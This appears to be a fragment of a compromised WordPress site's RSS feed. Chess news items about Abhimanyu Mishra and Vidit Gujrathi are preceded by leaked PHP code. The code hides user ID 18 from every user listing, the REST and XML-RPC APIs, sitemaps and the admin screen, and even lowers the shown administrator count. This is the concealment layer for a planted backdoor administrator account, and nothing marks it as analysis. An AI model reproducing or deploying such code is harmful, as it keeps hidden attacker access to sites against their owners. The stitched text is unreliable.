add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 18;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
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}, 1 );

add_action( 'template_redirect', function() {
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        $author = get_queried_object();
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            global $wp_query;
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            status_header( 404 );
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    }
} );

add_action( 'pre_user_query', function( $q ) {
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        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 18;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 18;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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					<description><![CDATA[<p>The Indian American sensation Abhimanyu Mishra, who won his third GM norm in Budapest, Hungary, has been the youngest chess ever Grandmaster on Wednesday. The 12-year-old in the United States, who had passed the minimum 2500 Elo rating barrier was a GM from the international Master. Mishra has been playing back to back events for [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/know-about-abhimanyu-mishra-youngest-grandmaster-till-date">Know About Abhimanyu Mishra, Youngest Grandmaster Till Date</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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										<content:encoded><![CDATA[<p>The Indian American sensation Abhimanyu Mishra, who won his third GM norm in Budapest, Hungary, has been the youngest chess ever Grandmaster on Wednesday. The 12-year-old in the United States, who had passed the minimum 2500 Elo rating barrier was a GM from the international Master.</p>
<p>Mishra has been playing back to back events for several months in Budapest, pursuing the crown and records.</p>
<p>The post <a href="https://theedgemedia.in/know-about-abhimanyu-mishra-youngest-grandmaster-till-date">Know About Abhimanyu Mishra, Youngest Grandmaster Till Date</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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					<description><![CDATA[<p>Nashik Chess player, Vidit Gujrathi, rank 3, has been finally qualified for the 2021 FIDE Chess World Cup. The World Cup is going to held on 10 July this year, in Sochi, Russia. Grandmaster Gujrathi is therefore the fourth Indian to qualify for a World Cup on Thursday, according to a press statement. The Nashiker [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/indian-chess-player-vidit-gujrathi-up-for-fide-chess-world-cup-2021">Indian Chess Player Vidit Gujrathi Up For FIDE Chess World Cup 2021</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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										<content:encoded><![CDATA[<p>Nashik Chess player, Vidit Gujrathi, rank 3, has been finally qualified for the 2021 FIDE Chess World Cup. The World Cup is going to held on 10 July this year, in Sochi, Russia. Grandmaster Gujrathi is therefore the fourth Indian to qualify for a World Cup on Thursday, according to a press statement.</p>
<p>The Nashiker is joined by the Indian men who have qualified for the World Cup by grandmasters P Harikrishna, Aravindh Chidambaram, and P Iniyan. In the meanwhile, the women&#8217;s event at the WC was qualified by Koneru Humpy, D Harika, Bhakti Kulkarni, R Vaishali, and Padmini Rout.</p>
<p>This will be the 3rd World Cup event for Gujrathi, which was previously held in 2017 and 2019. The Indian told the tournament that he was sure he would play a fantastic display.</p>
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